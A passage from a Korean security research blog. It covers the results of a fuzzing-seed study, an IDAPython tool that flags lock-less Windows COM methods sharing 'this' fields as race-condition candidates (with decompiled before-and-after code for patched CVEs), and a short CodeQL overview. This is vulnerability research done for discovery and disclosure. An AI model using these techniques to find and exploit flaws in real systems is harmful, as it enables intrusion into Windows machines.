위 사진을 참고하면, Redq의 숫자를 통해 Redq이 감지한 CMP구문의 인자들의 개수를 볼 수 있다. 왼쪽을 보면 약 5000개, 오른쪽은 3700개로 1300개 이상의 CMP 구문을 더 감지한 것을 확인할 수 있다. 더 신기한 것은 EXEC의 개수가 무더기 Seed를 사용한 쪽이 2배나 더 높은(1.2million vs 600k)데에도 불구하고, 더 높은 Regular path의 개수와 Edge의 개수, Redq의 개수를 얻을 수 있었다는 것이다. 또 오른쪽은 1개의 Crash를 찾은 반면, 왼쪽은 7개의 Crash를 찾을 수 있었다. 물론 이 중 Crash가 대부분 SEH 핸들러에 의해 처리되어 빠른 비교를 위해 Fuzzing을 중단하고 Jackalope으로 넘어가게 되었지만, 이로 서 적은 EXEC(시간)에 더 높은 Coverage를 얻을 수 있었다는 것을 증명할 수 있었다.

https://github.com/hyjun0407/FuzzSeedSeeker

GitHub - hyjun0407/FuzzSeedSeeker

Contribute to hyjun0407/FuzzSeedSeeker development by creating an account on GitHub.

github.com

결론

대부분의 Fuzzing을 진행하는 논문과 연구에서는 Seed에 대해 신경쓰지 않음
그러나 Seed는 위 연구를 통해 알 수 있 듯, 최대 2배 이상의 Coverage 흭득에 영향을 줌
원래 연구인 Seed selection for successful fuzzing 에서는 리눅스 위주의 실험을 진행함
본 연구인 FuzzSeedSeeker는 윈도우에서의 실험을 진행하고, 많은 사람들이 사용할 수 있도록 오픈소스로”고품질”의 Seed를 얻을 수 있게 했음에 의의를 둠
실제로 FuzzSeedSeeker을 통해 얻은 Seed로 Fuzzing을 진행했을 때 Crash의 개수가 상당히 차이 났고, 이미 Fuzzing을 진행해서 배포하는 라이브러리에서 unique취약점을 13개 찾을 수 있었음.
또, RedQueen과 같은 CMPLOG Fuzzing에서 더욱 두드러지는 높은 Edge/Coverage 달성률을 보여줬음.

한계

Drio의 속도가 PT보다 느려 몇 십만개가 되는 Seed 전처리에 많은 시간이 걸릴 수 있음.
Basic Block의 Size는 고려하지 않고 Basic Block의 개수만 고려하였음.
- 이는 Size를 고려하게 함으로서 해결하려 했으나, 총 Size를 고려하여 얻은 결과와 Basic Block의 개수를 고려하여 결정하는 방법 모두 같은 결과를 도출했음. Size를 고려함으로 서 생기는 오버헤드가 정확도보다 더 높은 손실을 요구하기에 제외했음.
정말 작은 바이너리(파일 파싱 말고 ioctl같은 경우)의 경우에는, Seed 전처리 결과에 영향이 없을 수 있음.

ComRaceConditionSeeker

MyLostChristmas — Tue, 13 Feb 2024 14:44:21 +0900

서론

COM(Component Object Model)은 마이크로소프트에서 개발한 소프트웨어 아키텍처로, 다양한 소프트웨어 컴포넌트들이 서로 통신하고 데이터를 교환할 수 있게 하는 기술입니다. 윈도우 운영 체제에서 널리 사용되며, 개발자들이 모듈식 컴포넌트를 통해 애플리케이션을 빌드할 수 있도록 지원합니다. COM은 언어 독립적인 방식으로 설계되어 있어, 다양한 프로그래밍 언어로 작성된 컴포넌트들이 서로 상호 작용할 수 있습니다.

COM의 주요 개념은 객체지향 프로그래밍의 원칙에 기반을 두고 있으며, 인터페이스와 구현의 분리를 통해 소프트웨어 컴포넌트의 재사용성과 유지보수성을 높입니다. COM 객체는 정의된 인터페이스를 통해서만 접근할 수 있으며, 이 인터페이스들은 고유한 식별자인 GUID(Global Unique Identifier)로 식별됩니다.

COM 기술은 윈도우 프로그래밍의 여러 영역에서 활용됩니다. 예를 들어, OLE(Object Linking and Embedding)와 ActiveX 컨트롤은 COM을 기반으로 하며, 이를 통해 문서의 임베딩이나 인터넷 익스플로러와 같은 애플리케이션에서의 동적 컨텐츠 제공 등의 기능을 구현합니다.

COM은 또한 분산 컴포넌트 객체 모델(DCOM)의 기반이 되어, 네트워크를 통한 컴포넌트 간 통신을 가능하게 합니다. 이를 통해 개발자들은 네트워크상의 다양한 컴퓨터에서 실행되는 애플리케이션들 사이에서 데이터와 서비스의 공유를 실현할 수 있습니다.

ComRaceConditionSeeker는 이런 COM에서 Race-Condition이 가능한 후보 함수들을 빠르게 선별할 수 있도록 도와줍니다. 대부분의 Race-Condition의 Patch Diff를 살펴보면 함수 시작과 끝에 원자 Lock(예를 들면 SRWLock, CrticalSection등)으로 해당 함수가 동기적으로 실행될 수 있게 합니다.

그렇기에, ComRaceConditionSeeker(이하 CRSeeker)는 COM의 실질적 구현이 이루어지는 DLL에서 함수 중 Lock이 없는 함수 후보군만을 선별하여 해당 함수에서 참조되는 공유 자원(COM은 객체 지향 언어임으로 동일한 Structure을 가진 this 객체)를 식별하여 사용자에게 알려줄 수 있도록 해, 더 빠른 Race-Condition 가능성을 가진 함수를 찾을 수 있도록 합니다.

본론

COM은 windows 10 x64 1909 기준만 해도 “BUILT-IN”에서만 8300개 이상의 Object를 노출하고 있고 이중 27000개의 interface를 노출하고 있습니다. 이는 정말 많은 공격 벡터를 함유하고 있다고 해석할 수 있습니다.

MTA의 경우 Multi Thread Apartment로 여러 쓰레드에서 Target Method에 접근할 수 있음을 의미합니다. Race-Condition은 다수의 쓰레드에서 데이터의 조작으로 이루어지는 것이기 때문에 타겟으로 하는 COM에서 당연히 MTA를 지원해야합니다.

STA의 경우 Single Thread Apartment로 말 그대로 한 쓰레드만 Method에 접근할 수 있습니다. Marshaling을 통해 타 쓰레드에서 접근 가능하지만, 현재 연구에서의 범위에 어긋나기에 이 부분은 생략하고 넘어 가겠습니다.

Race-Condition Case

MTA에서 발생 가능한 Race-Condition에 대해 상세히 설명한 논문인 COMRace https://www.usenix.org/conference/usenixsecurity22/presentation/gu-fangming를 참고하여 COM에서의 Race-Condition이 어떻게 발생하는지 알아보겠습니다.

CVE-2020-1394

해당 CVE에 대해 논문의 분석을 보면, 2번라인과 10번라인을 보면 똑같이 (void**)(this + 104)을 사용하고 있고, 해당 필드를 사용하는 부분에서 Race-Condition이 일어난다고 합니다.

proc3에서는 멤버필드 (다른 COM 객체를 가리키고 있는)를 읽어서 AddRef 함수를 통해 reference count를 증가시키게 됩니다. proc6에서는 17번라인에서 해당 필드 값을 읽고나서 18번에서 Release를 호출해서 ref Count가 null인 경우 Release를 하게됩니다. 그 후 20번을 보면 a2(객체)로 v2의 값을 바꾸게 됩니다. 여기서 눈여겨 봐야할 점은 Proc6에서 v4를 Release하게 되면 Proc3에서 ptr을 Release(free)하면 UAF가 발생하게 됩니다.

How…?

위 분석에서 ‘그래서 위 CVE로 알아낼 수 있는게 무엇인가?’라는 의문을 품고, COM 객체의 특징과 COM Race-Condition Case를 분석하면서 어떤 특징이 있을까 생각해봤습니다. 그리고 도출해낸 결과는 아래와 같습니다.

COM의 Interface로 호출되는 기능들은 dll에서 첫번째 인자로 this를 받게된다(자신이 정의 된 class의 주소) 아래는 ComRCSeeker로 찾을 수 있었던 함수의 하나입니다.

COM의 Race-Condition은 타 프로그램이나 DLL에서 사용되는 전역변수로 일어나는 Race-Condition이 아닌, this 객체의 공유 자원의 경쟁 조건을 두고 이루어진다</aside>
똑같이 (void)(this + 104)을 사용하고 있고**, 해당 필드를 사용하는 부분에서 Race-Condition이 일어난다고 합니다.
Race-Condition이 일어나기 위해 Lock 관련 함수들이 없어야한다.

COM에서만 볼 수 있는 위와 같은 특징들을 잘 생각해보면, COM의 Race-Condition이 발생 가능한 패턴을 쉽게 정리할 수 있습니다.

함수에서 this를 인자로 받아 내부에서 처리하는지
LOCK함수가 없는지
this에서 어떤 필드에 접근하는지

위의 정형화 된 패턴을 사용하여, idapython을 사용하여 모든 함수 중 여러 쓰레드에서 접근했을 때 비동기를 지원하는 함수에서, 동일한 this 구조체를 사용하며 동일한 this 구조체에서 어떤 필드에 접근하는지 알아낼 수 있다면, 하나하나 인터페이스를 살펴보고 method를 살펴볼 시간을 대폭 단축할 수 있을 것입니다.

개발 과정

이미 ComRace의 논문을 보니, Unsafe Method를 탐지하는 기본적인 Skeleton이 있었습니다.

이는 모든 멤버 필드가 이 포인터를 통해 상수 오프셋으로 액세스되므로 이 포인터([rcx]에 저장된 규칙 동맹)의 사용을 추적하여 실현됩니다. - ComRace 논문 중 발췌

기본 아이디어는 Lock이 없는지 확인하고, RCX(첫번째 인자 this)에 어느 오프셋이 더해지는지를 통해 this 구조체에 얼만큼의 오프셋이 더해지는지를 통해 unsafe한지 아닌지를 찾는다고 합니다.

처음에는 COMRace의 위 논문을 보고, ‘이미 완벽하게 만들어졌구나’라는 생각을 하고 다른 것을 개발하려고 했으나, 생각보다 lea A, [rcx+offset]으로 this를 복사하는 경우는 적었습니다.

위는 this+15를 Set 함수에 넣어 this+15를 Free시키고 v9에 복사하는 COM method 중 일부입니다. 이는 디스어셈블러로 보면

lea시 rcx+offset 형태로 들어가지 않고, rcx를 rbx로 옮기고 rbx + 78을 한 결과를 인자로 넘겨줍니다. COMRace논문에서는 Symbolic Execution을 통해 Instructor의 Offset에 따라 Read / Write로 구분하여 동일한 데이터가 공유되는지 체크한다고 했는데, 실제로 COMRace에서 찾은 CVE 중 한개를 살펴보면 this + 40이 공유됨으로서 SKIP 과 NEXT 함수를 호출하며 Race-Condition이 일어납니다.

그리고 이를 disassembler로 살펴보면 실제로 mov,lea A, [rcx+offset]의 형태로 이루어진 것을 볼 수 있습니다.

이것을 보고 나서 Symbolic Execution이 아니라 다른 레지스터에 복사된 값도 추적하여 this로 변환할 수 있는 idapython을 사용하여 this 객체의 rw를 추적해보면 어떨까라는 생각을 하게 되었습니다.

실제로 COMRace에서 사용한 Symbolic Execution을 통한 rcx 오프셋 추적으로 찾은 unsafe method는 COM에서 약 170개로, COMRace에서 분석을 시도한 10420개의 COM 인터페이스 중 170개에서밖에 찾지 못했다는 것은 생각보다 이상하다고 생각했습니다.

그렇기에, rcx 오프셋으로 추적하는 방식이 아닌 IDApython을 사용하여 pseudocode로 찾아보면 더 많은 this 객체 사용을 찾을 수 있다고 판단하여 개발을 진행했습니다.

함수의 첫번째 인자가 this인지 확인

아래의 코드는 ida에서 resolve한 모든 함수를 가져와 pseudocode(Cfunc)로 변환하여 함수의 첫번째 인자의 이름을 갖고와, 이름이 this인지를 확인하는 함수입니다. 처음에는 모든 인자를 가져와 iterate했었는데, 지금까지 발견한 것 중 그 어느것도 첫번째 외에 this를 받는 함수가 없었기에 첫번째 인자만 체크하게 됩니다.

import idautils
import idc
import ida_name
import ida_hexrays
import ida_funcs
import re

func_resolve_dict = []
banlist = ['__imp__Mtx_unlock',' __imp__Mtx_lock','__imp_AcquireSRWLockExclusive', '__imp_ReleaseSRWLockShared', '__imp_InitializeSRWLock','__imp_TryAcquireSRWLockShared','__imp_ReleaseSRWLockExclusive','__imp_AcquireSRWLockExclusive','__imp_TryAcquireSRWLockExclusive','__imp_AcquireSRWLockShared','__imp_TryAcquireSRWLockShared','__imp_EnterCriticalSection','__imp_LeaveCriticalSection']
# 모듈 내의 모든 함수를 순회합니다.

def get_function_pseudocode(ea):
    # Hex-Rays Decompiler가 사용 가능한지 확인
    if not ida_hexrays.init_hexrays_plugin():
        print("Hex-Rays Decompiler is not available.")
        return None

    # 주어진 주소에서 함수를 찾음
    f = ida_funcs.get_func(ea)
    if not f:
        print("Function not found at the given address.")
        return None

    # 함수를 디컴파일
    cfunc = ida_hexrays.decompile(f.start_ea)
    if not cfunc:
        print("Failed to decompile function.")
        return None

    # 디컴파일된 함수의 pseudocode를 문자열로 변환
    pseudocode = str(cfunc)
    return pseudocode

def get_this_pseudo(code_snippet):
    pattern_corrected = r"this \\+ (0x[0-9a-fA-F]+|\\d+)"
    matches_corrected = re.findall(pattern_corrected, code_snippet)
    return matches_corrected

def get_this_xref(function_name):
    function_start = idc.get_name_ea_simple(function_name)
    function_end = idc.find_func_end(function_start)
    # 함수 내에서 'rcx' 레지스터를 사용하는 모든 명령어를 찾습니다.
    for head in idautils.Heads(function_start, function_end):
        a = idc.generate_disasm_line(head, 0)
        start_index = a.find("[rcx")
        end_index = a.find("]", start_index) + 1 # ']'의 위치를 찾음
        # '['와 ']' 사이의 문자열 추출
        substring = a[start_index:end_index]
        if(start_index != -1):
            print(substring)
    
def get_all_func_resolve():
    func_dict = []
    for func in idautils.Functions():
        # 함수의 시작 주소를 얻습니다.
        current_function_start = idc.get_func_attr(func, idc.FUNCATTR_START)
        # 함수의 이름을 얻습니다.
        current_function_name = ida_name.get_name(current_function_start)

        # 현재 함수의 모든 주소를 순회하며 함수 호출을 찾습니다.
        for instr in idautils.FuncItems(current_function_start):
            # 현재 주소에서 참조하는 모든 코드 참조를 순회합니다.
            for ref in idautils.CodeRefsFrom(instr, False):
                # 참조된 주소의 세그먼트 이름을 얻습니다.
                seg_name = idc.get_segm_name(ref)
                # 참조된 주소의 함수 이름을 얻습니다.
                ref_func_name = ida_name.get_name(ref)
                # 참조된 주소가 현재 분석 중인 함수의 범위 외부에 있고, `.idata` 세그먼트에 있으면 외부 함수로 간주합니다.
                if ref_func_name and seg_name == '.idata':
                    func_dict.append(['out',current_function_name,ref_func_name,instr])
                # 참조된 주소가 현재 분석 중인 함수의 범위 외부에 있지만, `.idata` 세그먼트에는 없는 경우, 내부 함수로 간주합니다.
                elif ref_func_name and idc.get_func_attr(ref, idc.FUNCATTR_START) != current_function_start:
                    func_dict.append(['in',current_function_name,ref_func_name,instr])
    return func_dict

def get_specific_func_resolve(funcDo):
    func_dict = []
    for func in funcDo:
        # 함수의 시작 주소를 얻습니다.
        current_function_start = func[1]
        # 함수의 이름을 얻습니다.
        current_function_name = ida_name.get_name(current_function_start)

        # 현재 함수의 모든 주소를 순회하며 함수 호출을 찾습니다.
        for instr in idautils.FuncItems(current_function_start):
            # 현재 주소에서 참조하는 모든 코드 참조를 순회합니다.
            for ref in idautils.CodeRefsFrom(instr, False):
                # 참조된 주소의 세그먼트 이름을 얻습니다.
                seg_name = idc.get_segm_name(ref)
                # 참조된 주소의 함수 이름을 얻습니다.
                ref_func_name = ida_name.get_name(ref)
                # 참조된 주소가 현재 분석 중인 함수의 범위 외부에 있고, `.idata` 세그먼트에 있으면 외부 함수로 간주합니다.
                if ref_func_name and seg_name == '.idata':
                    func_dict.append(['out',current_function_name,ref_func_name,instr])
                        #print("{} 함수에서 외부 함수 참조: {}".format(current_function_name, ref_func_name))
                # 참조된 주소가 현재 분석 중인 함수의 범위 외부에 있지만, `.idata` 세그먼트에는 없는 경우, 내부 함수로 간주합니다.
                elif ref_func_name and idc.get_func_attr(ref, idc.FUNCATTR_START) != current_function_start:
                    func_dict.append(['in',current_function_name,ref_func_name,instr])
    return func_dict

def get_all_func():
    func_dict = []
    for func in idautils.Functions():
        # 함수의 시작 주소를 얻습니다.
        current_function_start = idc.get_func_attr(func, idc.FUNCATTR_START)
        # 함수의 이름을 얻습니다.
        current_function_name = ida_name.get_name(current_function_start)
        func_dict.append([current_function_name,current_function_start])
    return func_dict

def get_func_calls(func_name):
    func_dict = []  # 함수 호출 정보를 저장할 리스트
    # 입력된 함수 이름으로부터 함수 시작 주소를 가져옵니다.
    func_ea = idc.get_name_ea_simple(func_name)
    if func_ea != idc.BADADDR:
        # 함수가 발견되었을 때만 처리합니다.
        # 함수의 내부 호출 및 외부 호출 정보를 수집합니다.
        for instr in idautils.FuncItems(func_ea):
            # 현재 주소에서 참조하는 모든 코드 참조를 순회합니다.
            for ref in idautils.CodeRefsFrom(instr, False):
                # 참조된 주소의 세그먼트 이름을 가져옵니다.
                seg_name = idc.get_segm_name(ref)
                # 참조된 주소의 함수 이름을 가져옵니다.
                ref_func_name = ida_name.get_name(ref)
                # 참조된 주소가 내부 함수인지 외부 함수인지 확인합니다.
                if ref_func_name and seg_name == '.idata':
                    # 외부 함수로 간주됩니다.
                    func_dict.append(['out', func_name, ref_func_name, instr])
                elif ref_func_name and idc.get_func_attr(ref, idc.FUNCATTR_START) == func_ea:
                    # 내부 함수로 간주됩니다.
                    func_dict.append(['in', func_name, ref_func_name, instr])
    return func_dict

filtered_func = []

my_list = get_all_func()
for check in my_list:
    func_ea = idc.get_name_ea_simple(check[0])
    cfunc = ida_hexrays.decompile(func_ea)
    if cfunc:
        for arg in cfunc.arguments:
            if(arg.name == "this"):
                filtered_func.append(check)

함수 내부에서 Lock 함수가 호출되는지 확인

func_resolve_dict = get_specific_func_resolve(filtered_func)
my_list = [sub_list for sub_list in func_resolve_dict if not any(item in banlist for item in sub_list)]
only_all_func = get_all_func()
filtered_func_name_addr = []
for get in only_all_func:
    for checklist in my_list:
        if(checklist[1] == get[0]):
            filtered_func_name_addr.append(get)
            break

함수 내부에서 Lock과 관련 된 함수가 호출되는지 확인합니다. 처음에 this를 호출하는 함수들만 filter를 하고, filter된 함수를 iterate하면서 만약 lock이 있다면 제외합니다. 여기서 Idapython의 약간의 문제점이 있는데, 특히 Lock과 관련 된 함수는 전부 Import된 함수들이라 IAT에 존재하게 됩니다. 그래서 함수를 가져올 때 포인터로 호출되는지의 여부에 따라 달라집니다. .idata의 포인터로 호출된다면, 외부함수입니다.

def get_specific_func_resolve(funcDo):
    func_dict = []
    for func in funcDo:
        # 함수의 시작 주소를 얻습니다.
        current_function_start = func[1]
        # 함수의 이름을 얻습니다.
        current_function_name = ida_name.get_name(current_function_start)

        # 현재 함수의 모든 주소를 순회하며 함수 호출을 찾습니다.
        for instr in idautils.FuncItems(current_function_start):
            # 현재 주소에서 참조하는 모든 코드 참조를 순회합니다.
            for ref in idautils.CodeRefsFrom(instr, False):
                # 참조된 주소의 세그먼트 이름을 얻습니다.
                seg_name = idc.get_segm_name(ref)
                # 참조된 주소의 함수 이름을 얻습니다.
                ref_func_name = ida_name.get_name(ref)
                # 참조된 주소가 현재 분석 중인 함수의 범위 외부에 있고, `.idata` 세그먼트에 있으면 외부 함수로 간주합니다.
                if ref_func_name and seg_name == '.idata':
                    func_dict.append(['out',current_function_name,ref_func_name,instr])
                        #print("{} 함수에서 외부 함수 참조: {}".format(current_function_name, ref_func_name))
                # 참조된 주소가 현재 분석 중인 함수의 범위 외부에 있지만, `.idata` 세그먼트에는 없는 경우, 내부 함수로 간주합니다.
                elif ref_func_name and idc.get_func_attr(ref, idc.FUNCATTR_START) != current_function_start:
                    func_dict.append(['in',current_function_name,ref_func_name,instr])
    return func_dict

함수의 this 객체의 구조체 이름 확인, 필드 확인

for filt in filtered_func_name_addr:
    dec = get_function_pseudocode(filt[1])
    pseduo = get_this_pseudo(dec)
    filt.append(pseduo)
    func_ea = idc.get_name_ea_simple(filt[0])
    cfunc = ida_hexrays.decompile(func_ea)
    if cfunc:
        arg = cfunc.arguments[0]
        filt.append(arg.type().dstr())

함수가 Lock이 없고, this를 사용한다면 this 객체의 구조체를 확인해야합니다. 왜냐하면 같은 구조체를 사용하는 함수들끼리 쌍을 지어주어, method내에서 field를 공유할 때 서로 같은 구조체를 사용하여 침범하는지 침범하지 않는지를 확인해야하기 때문입니다. 그렇기에 idapython의 cfunc argument를 사용하여 구조체의 정보를 불러와줍니다.

아래의 코드를 보면 get_this_pseudo를 사용하여 정규식을 사용해 pseudo코드에서 this 필드에 접근하는 오프셋들을 전부 가져와줍니다.

def get_function_pseudocode(ea):
    # Hex-Rays Decompiler가 사용 가능한지 확인
    if not ida_hexrays.init_hexrays_plugin():
        print("Hex-Rays Decompiler is not available.")
        return None

    # 주어진 주소에서 함수를 찾음
    f = ida_funcs.get_func(ea)
    if not f:
        print("Function not found at the given address.")
        return None

    # 함수를 디컴파일
    cfunc = ida_hexrays.decompile(f.start_ea)
    if not cfunc:
        print("Failed to decompile function.")
        return None

    # 디컴파일된 함수의 pseudocode를 문자열로 변환
    pseudocode = str(cfunc)
    return pseudocode

def get_this_pseudo(code_snippet):
    pattern_corrected = r"this \\+ (0x[0-9a-fA-F]+|\\d+)"
    matches_corrected = re.findall(pattern_corrected, code_snippet)
    return matches_corrected

또 아래 코드는 ComRace와의 결과 비교를 위해 RCX로 가져오는 코드인데, 위에서 제시한 예시 코드에서 [rcx+18h], [rcx+40h]를 출력하는 반면, pseudocode를 사용한 코드는 +5, +13, +20, +0x58을 정상적으로 다 가져오는 것을 볼 수 있습니다.

def get_this_xref(function_name):
    function_start = idc.get_name_ea_simple(function_name)
    function_end = idc.find_func_end(function_start)
    # 함수 내에서 'rcx' 레지스터를 사용하는 모든 명령어를 찾습니다.
    for head in idautils.Heads(function_start, function_end):
        a = idc.generate_disasm_line(head, 0)
        start_index = a.find("[rcx")
        end_index = a.find("]", start_index) + 1 # ']'의 위치를 찾음
        # '['와 ']' 사이의 문자열 추출
        substring = a[start_index:end_index]
        if(start_index != -1):
            print(substring)

같은 Class끼리 묶기, this + offset Xref 출력

0xnumber 과 같은 숫자를 파싱하고, 오름차 순으로 Xref Offset을 정렬합니다.

같은 class끼리 Category를 묶어두어 가시성을 올려줍니다.

categorized_list = {}
for item in filtered_func_name_addr:
    category = item[-1]
    ref_string = list(dict.fromkeys(item[2]))
    converted_numbers = [int(x, 16) if 'x' in x else int(x) for x in ref_string]
    sorted_numbers = sorted(converted_numbers)
    item[2] = sorted_numbers
    if category not in categorized_list:
        categorized_list[category] = []
    categorized_list[category].append(item)

for category, items in categorized_list.items():
    print(f"Category: {category}")
    for item in items:
        print(f"  - {item}")
    print()

실제 적용 사례 및 출력

CVE-2020-1146

UserMgr.dll에서 발생하는데, 아래 함수를 여러 쓰레드에서 실행하게 되면 동시간에 Microsoft::WRL::Wrappers::HString::Set(this + 14, &v3);가 호출되게 되고, 이는 내부적으로 WindowsDeleteString(*newString(this+14)); 를 호출하게 되면서, this+14가 Double Free가 된다.

패치 후
AcquireSRWLockExclusive을 사용하여 공유 자원에 Lock을 걸고 있는 것을 확인할 수 있다!!
  AcquireSRWLockExclusive((PSRWLOCK)this + 10);
  v4 = Microsoft::WRL::Wrappers::HString::Set((HSTRING *)this + 15, &v8);
  v5 = v4;
  if ( v4 >= 0 )
  {
    if ( v2 )
      ReleaseSRWLockExclusive(v2);
    return 0i64;
  }
  else
  {
    wil::details::in1diag3::Return_Hr(
      retaddr,
      (void *)0x93,
      (int)"onecore\\\\ds\\\\security\\\\umstartup\\\\usermgr\\\\lib\\\\signincontext.cpp",
      (const char *)(unsigned int)v4);
    if ( v2 )
      ReleaseSRWLockExclusive(v2);
    return v5;
  }
}

패치전
__int64 __fastcall Windows::System::Internal::SignInContext::put_AuthData(HSTRING *this, HSTRING a2)
{
  HSTRING v3; // [rsp+38h] [rbp+10h] BYREF

  v3 = a2;
  Microsoft::WRL::Wrappers::HString::Set(this + 14, &v3);
  return 0i64;
}

__int64 __fastcall Microsoft::WRL::Wrappers::HString::Set(HSTRING *newString, HSTRING *a2)
{
  unsigned int v2; // ebx

  v2 = 0;
  if ( !*a2 || *a2 != *newString )
  {
    WindowsDeleteString(*newString);
    *newString = 0i64;
    return (unsigned int)WindowsDuplicateString(*a2, newString);
  }
  return v2;
}

ComRaceConditionSeeker로 usermgr.dll 분석

**?get_AuthData@SignInContext@Internal@System@Windows@@**를 성공적으로 가져와, 공유 자원의 Offset과 함수 주소를 제대로 가져오는 것을 볼 수 있다. 이로서 취약한 함수들을 성공적으로 가져오는 것을 확인할 수 있다.

출력결과 :

Category: Windows::System::UserStatics *
  - ['?GetNonRoamableIdForUserAndApp@UserStatics@System@Windows@@UEAAJPEAUIUser@23@PEAUHSTRING__@@PEAPEAU5@@Z', 6442468736, [18, 72, 144], 'Windows::System::UserStatics *']
  - ['?RemoveUserAndFireUserRemoved@UserStatics@System@Windows@@UEAAJII@Z', 6442492416, [6, 14, 18, 20, 27, 35, 44, 72, 88, 112, 144, 160, 176, 216, 240, 280, 296, 360, 384], 'Windows::System::UserStatics *']
  - ['?GetUserById@UserStatics@System@Windows@@UEAAJIIPEAPEAUIUser@23@@Z', 6442494496, [14, 16, 72, 112, 128], 'Windows::System::UserStatics *']
  - ['?ChangeSessionActiveShellUser@UserStatics@System@Windows@@UEAAJII@Z', 6442496944, [56], 'Windows::System::UserStatics *']
  - ['?GetSessionActiveShellUser@UserStatics@System@Windows@@UEAAJIPEAPEAUIUser@23@@Z', 6442510688, [27, 176, 216], 'Windows::System::UserStatics *']
  - ['?CreateInternalWatcher@UserStatics@System@Windows@@UEAAJPEAPEAUIUserWatcher@23@@Z', 6442518672, [312, 384], 'Windows::System::UserStatics *']
  - ['?RemoveSessionActiveShellUser@UserStatics@System@Windows@@UEAAJI@Z', 6442587520, [176, 216], 'Windows::System::UserStatics *']
  - ['??1UserStatics@System@Windows@@UEAA@XZ', 6442948672, [1, 4, 5, 6, 7, 21, 23, 25, 27, 34, 42, 44, 51, 52, 53, 54, 55, 56, 57, 128, 168, 184, 200, 216, 232, 296, 336, 352, 368], 'Windows::System::UserStatics *']
  - ['?CreateWatcher@UserStatics@System@Windows@@UEAAJPEAPEAUIUserWatcher@23@@Z', 6442958384, [328, 376], 'Windows::System::UserStatics *']
  - ['?FireSignOutStarted@UserStatics@System@Windows@@UEAAJPEAUIUser@23@EPEAPEAUIUserAuthenticationStatusChangingEventArgs@23@@Z', 6442965184, [45, 46, 48, 49, 312, 360, 384], 'Windows::System::UserStatics *']
  - ['?RemovePartialUserAndFireUserRemoved@UserStatics@System@Windows@@UEAAJII@Z', 6442978240, [16, 20, 44, 72, 160, 384], 'Windows::System::UserStatics *']
  - ['?TryFindUser@UserStatics@System@Windows@@UEAAJIIPEAEPEAPEAUIUser@23@@Z', 6442981648, [14, 16, 72], 'Windows::System::UserStatics *']
  - ['?TryFindUserByContextWithCache@UserStatics@System@Windows@@UEAAJ_KPEAPEAUIUser@23@@Z', 6442982848, [20, 72, 160], 'Windows::System::UserStatics *']

.
.
.
중략
Category: Windows::System::UserAuthenticationStatusChangingEventArgs *
  - ['?GetDeferral@UserAuthenticationStatusChangingEventArgs@System@Windows@@UEAAJPEAPEAUIUserAuthenticationStatusChangeDeferral@23@@Z', 6443400416, [2, 15, 80], 'Windows::System::UserAuthenticationStatusChangingEventArgs *']

Category: Windows::System::Internal::SignInContext *
  - ['**?get_AuthData@SignInContext@Internal@System@Windows@@UEAAJPEAPEAUHSTRING__@@@Z**', 6443452176, [10, 15, 80], 'Windows::System::Internal::SignInContext *']
  - ['?get_CorrelationId@SignInContext@Internal@System@Windows@@UEAAJPEAPEAUHSTRING__@@@Z', 6443452384, [8, 16, 64], 'Windows::System::Internal::SignInContext *']
  - ['?get_Credentials@SignInContext@Internal@System@Windows@@UEAAJPEAPEAUICredentialSerialization@234@@Z', 6443452592, [10, 16, 80], 'Windows::System::Internal::SignInContext *']
  - ['?put_AuthData@SignInContext@Internal@System@Windows@@UEAAJPEAUHSTRING__@@@Z', 6443453216, [10, 15, 80], 'Windows::System::Internal::SignInContext *']
  - ['?put_CorrelationId@SignInContext@Internal@System@Windows@@UEAAJPEAUHSTRING__@@@Z', 6443453376, [8, 16, 64], 'Windows::System::Internal::SignInContext *']
  - ['?put_Properties@SignInContext@Internal@System@Windows@@UEAAJPEAUIPropertySet@Collections@Foundation@4@@Z', 6443453680, [10, 17], 'Windows::System::Internal::SignInContext *']

Category: WsiEnvironmentAccountManagerTraceProvider::FunctionCall *
  - ['?StartActivity@FunctionCall@WsiEnvironmentAccountManagerTraceProvider@@QEAAXXZ', 6443602172, [6, 8], 'WsiEnvironmentAccountManagerTraceProvider::FunctionCall *']

Category: CredProvUtils *
  - ['?GetLogonUIKeyPath@CredProvUtils@@YAJPEAPEAG@Z', 6443608696, [], 'CredProvUtils *']

CVE-2020-1211

ComRaceConditionSeeker을 통해 this+3과 this+40에 접근하는 것을 확인할 수 있고

Skip에서는 this+7의 포인터를 계속 증가시키고 Next에서 this+7에 접근하면서 OOB가 발생하게 됩니다.

결론 & 한계

ComRaceConditionSeeker

결론

ComRace라는 Com의 Race-condition을 연구하는 논문에서 RCX로만 this를 추적하기에 이를 보완함
idapython을 사용하여 this의 멤버 사용을 모두 추적
실제로 rcx를 사용하면 2개밖에 얻지 못하는 결과를 5개가 넘는 결과로 확장
COM과 관련 된 1-day CVE 중 winrt 포함 5개중 5개를 Repro할 수 있었음.
ComRace가 놓친 취약점이나 윈도우 패치 후 변경 된 코드를 ComRaceConditionSeeker을 통해 찾을 수 있음
2개의 추가 Race-Condition을 발견하고 제보예정

한계

Lock함수가 총 49개가 있는데 더 추가된 쌍이 있기 때문에 분석가가 Banlist에 추가해줘야함
this 참조중 정말 드물게 this[offset]으로 참조하는 경우가 있는데, 이 경우의 분석을 추가할 예정

CodeQL Summary

MyLostChristmas — Tue, 6 Feb 2024 19:53:31 +0900

CodeQL

What is CodeQL?

데이터 흐름 분석 및 오염 분석 등을 통하여 코드 오류와 품질 등을 검사하고, 취약점을 찾기 위해 개발 된 도구
FACT database를 기반으로 QL이라는 쿼리 언어를 사용하여 database 내에서 취약한 패턴을 쿼리하여 데이터화, 분석을 진행함.
변수나 함수, 클래스 선언 뿐 아니라 변수 내에 할당 된 값도 추적이 가
다중 언어를 지원

Why We Use CodeQL?

사람이 일일히 수동으로 해야하는 취약점 분석 과정을 신속하게 자동화할 수 있는 툴로 서, 업데이트 등의 사유로 코드가 업데이트 되었을 때도 몇 분만에 코드를 분석하여 잠재적 위험 요소를 확인할 수 있음.

QL Language & QL Query

CodeQL의 구조와 문법은 SQL 문법과 비슷하다(같은 Query Language 계열이기 때문)
- FROM : 쿼리할 변수의 형식, 변수 정의
- where : 변수에 대한 조건 정의
- select 쿼리 출력 정의
Datalog에 기반을 두고 있기때문에 논리 연산으로 취급이 됨. 그렇기에 문법은 비슷하지만 SQL과 같다고 볼 수 없음

CodeQL Process

https://github.blog/2022-02-01-code-scanning-and-ruby-turning-source-code-into-a-queryable-database/

Extraction → Query Compilation → Query Evaluation

Extraction : 코드에서 AST TYPE NAME 등의 메타데이터 정보를 추출하는 단계
Query Compilation : QL 언어로 짜인 쿼리를 컴파일하는 단계
Query Evaluation : 위 절차가 진행 된 후의 내용을 종합해서 취약점 가치 평가 진행하는 단계

